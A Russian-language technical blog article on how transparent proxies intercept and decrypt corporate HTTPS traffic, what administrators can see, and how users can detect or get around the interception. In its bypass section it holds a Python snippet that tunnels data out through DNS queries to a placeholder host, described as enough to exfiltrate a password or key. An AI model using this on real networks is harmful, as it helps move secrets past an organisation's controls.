- Прозрачные прокси в корпоративной сети: как они ломают SSL и что видит администратор

Прозрачные прокси: цифровой шлагбаум, который читает ваш трафик

Прозрачный прокси — это невидимый посредник. Клиент о нём не знает. Настройки браузера не тронуты. Система думает, что общается с сервером напрямую. Но пакеты уходят через железку, которая решает, что пропустить, а что завернуть.

Технически это достигается перехватом трафика на уровне L3-L4. Маршрутизатор или коммутатор с функцией WCCP (Web Cache Communication Protocol) или обычный iptables REDIRECT заворачивают соединения на локальный порт прокси. Клиент даже не подозревает, что его HTTP-запросы проходят через чужой софт.

Как это работает на уровне пакетов

Схема простая. Клиент отправляет SYN на 93.184.216.34:80. Роутер перехватывает пакет, меняет адрес назначения на 10.0.0.1:3128. Прокси принимает соединение, устанавливает своё — уже к реальному серверу. Ответ идёт обратным путём. Для клиента всё выглядит как прямое соединение.

```bash

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 3128

```

Вот эти две строки — классика жанра. Весь HTTP и HTTPS трафик уходит на прокси. Настройка простая. Последствия — не очень.

SSL: почему прозрачный прокси ломает HTTPS

Тут начинается веселье. Прокси не может прочитать зашифрованный трафик. Он видит только IP назначения и SNI (Server Name Indication) — имя хоста в открытом виде. Чтобы заглянуть внутрь, прокси должен стать MITM (Man In The Middle).

Механика такая: прокси перехватывает TLS ClientHello, подменяет сертификат сервера своим собственным, подписанным корпоративным CA. Клиент проверяет подпись — и если корневой сертификат корпорации установлен в доверенные, соединение устанавливается с прокси. Прокси расшифровывает трафик, читает его, и устанавливает второе TLS-соединение — уже с реальным сервером.

```bash

openssl s_client -connect example.com:443 -servername example.com 2>&1 | openssl x509 -noout -issuer

```

Если в выводе вместо Let's Encrypt или DigiCert вы видите что-то вроде `issuer=C = RU, O = MyCompany CA` — вас читают. Именно так выглядит корпоративный MITM.

Что именно видит администратор

Администратор видит почти всё. URL (кроме параметров GET-запросов, если используется CONNECT), заголовки запросов и ответов, cookies, тело POST-запросов. Пароли — да, тоже. Если сайт использует HSTS (HTTP Strict Transport Security) с preload — прокси получит ошибку, но большинство сайтов не настолько строгие.

Типичная картина в логах Squid:

```bash

172.16.4.12 - - [12/Nov/2024:14:23:11 +0300] "GET https://api.telegram.org/bot123456:ABC-DEF/getMe HTTP/1.1" 200 42 "-" "Python/3.11 aiohttp"

```

Виден IP клиента, полный URL, время, user-agent. Для администратора это золотая жила. Он знает, кто с кем общается, когда и как часто.

Сертификаты и цепочки доверия

Чтобы MITM работал, нужно выполнить три условия. Первое: корпоративный CA должен быть в доверенных на каждом клиенте. Второе: прокси должен генерировать сертификаты на лету. Третье: клиент не должен проверять certificate pinning.

Пример генерации корпоративного CA:

```bash

openssl req -x509 -newkey rsa:4096 -keyout ca.key -out ca.crt -days 3650 -nodes -subj "/C=RU/O=MyCompany/CN=MyCompany Root CA"

```

Потом этот ca.crt раскатывается через групповые политики Windows или MDM на все устройства. И вуаля — прокси может подписывать любые сертификаты для любых доменов.

Кейс: банк и мобильное приложение

Пример из практики. Крупный банк развернул прозрачный прокси на базе Squid с MITM. Всё работало для браузеров. Но мобильное приложение банка перестало открываться — оно использовало certificate pinning. Приложение жёстко проверяло отпечаток сертификата сервера. Подмена не прошла.

Что сделали в итоге: добавили домены банка в исключения прокси. Трафик к ним пошёл напрямую, без перехвата. Некрасиво, но работает. Администратор потерял видимость части трафика. Зато приложение заработало.

Кейс: обход через CONNECT-туннель

Прозрачный прокси умеет обрабатывать метод CONNECT. Браузер отправляет `CONNECT example.com:443 HTTP/1.1`. Прокси устанавливает туннель и дальше просто пересылает байты. Именно так работает HTTPS без MITM.

Но вот хитрость: если прокси не настроен на MITM для конкретного домена, он работает как обычный туннель. Тогда можно завернуть в этот туннель что угодно — хоть SSH, хоть свой протокол.

```bash

curl -x http://proxy.corp.local:3128 -p https://api.telegram.org

```

Флаг `-p` включает CONNECT-туннель. Внутри него — TLS до Telegram. Прокси видит только заголовки CONNECT. Содержимое — нет.

Кейс: DNS-туннелирование как обход

Когда прокси режет всё подряд, в ход идут DNS-запросы. Прокси обычно не перехватывает DNS — он идёт мимо. Поэтому можно заворачивать данные в DNS-запросы.

```python

import dns.resolver

import base64

data = "secret message"

encoded = base64.b64encode(data.encode()).decode().replace("=", "")

query = f"{encoded}.tunnel.example.com"

resolver = dns.resolver.Resolver()

resolver.nameservers = ["8.8.8.8"]

answer = resolver.resolve(query, "TXT")

```

Администратор увидит странные DNS-запросы к `tunnel.example.com`. Но если DNS-серверы фильтруются не строго — данные уйдут. Скорость низкая, но для эксфильтрации пароля или ключа хватит.

Ограничения и подводные камни

Прозрачные прокси хреново работают с QUIC и HTTP/3. Эти протоколы используют UDP, а не TCP. Классический iptables REDIRECT их не ловит. Приходится настраивать TPROXY или вообще отключать QUIC на клиентах.

Ещё одна боль — WebSocket. Долгоживущие соединения через прокси работают, но с таймаутами. Если сервер не шлёт данные 5 минут, прокси может оборвать соединение. Веб-разработчики это ненавидят.

WebSocket через прокси требует настройки:

```nginx

location /ws/ {

proxy_pass http://backend;

proxy_http_version 1.1;

proxy_set_header Upgrade \$http_upgrade;

proxy_set_header Connection "upgrade";

proxy_read_timeout 3600s;

}

```

Без этого — соединение рвётся каждые 60 секунд.

Что делать, если вы администратор

Если ваша задача — контроль трафика, используйте прозрачный прокси с умом. Не перехватывайте всё подряд. Исключите критичные домены: банки, госуслуги, мессенджеры. Настройте HSTS-aware обработку.

Если ваша задача — обойти прокси, помните: любой перехват можно обнаружить. Сравнивайте сертификаты, проверяйте цепочки доверия, используйте VPN поверх HTTPS. Прокси — это не стена, а забор. Через него можно перелезть.

Помните про lexic.ml — там есть полезные материалы по IPv6 и прокси, которые пригодятся при настройке обходных путей.

Технические детали для глубокого погружения

MTU и MSS — вот что часто ломает прозрачные прокси. Когда пакет заворачивается на прокси, MSS (Maximum Segment Size) может не совпадать. TCP-соединение устанавливается с MSS 1460, а прокси добавляет свои заголовки — и пакет становится больше MTU.

Решение — подстройка MSS:

```bash

iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu

```

Без этой строки — фрагментация, потеря пакетов, тормоза. С ней — всё летает.

Диагностика: как понять, что вы за прокси

Проверка простая. Сравните сертификат сайта с ожидаемым:

```bash

echo | openssl s_client -connect google.com:443 -servername google.com 2>/dev/null | openssl x509 -noout -subject -issuer -dates

```

Если issuer не совпадает с ожидаемым — вы за прокси. Если соединение устанавливается, но сертификат выдан неизвестным CA — тоже.

Можно ещё проверить заголовки ответа. Некоторые прокси добавляют свои заголовки:

```bash

curl -I https://example.com

```

Смотрите на `Via`, `X-Cache`, `X-Proxy` — их наличие выдаёт прокси с головой.

Итоги

Прозрачный прокси — мощный инструмент. Он даёт администратору полную картину сети. Но он же создаёт проблемы: ломает приложения с certificate pinning, режет WebSocket, конфликтует с QUIC. Использовать его нужно точечно, с пониманием архитектуры. И помнить: полностью скрыть перехват невозможно. Всегда есть следы — в сертификатах, заголовках, поведении соединений.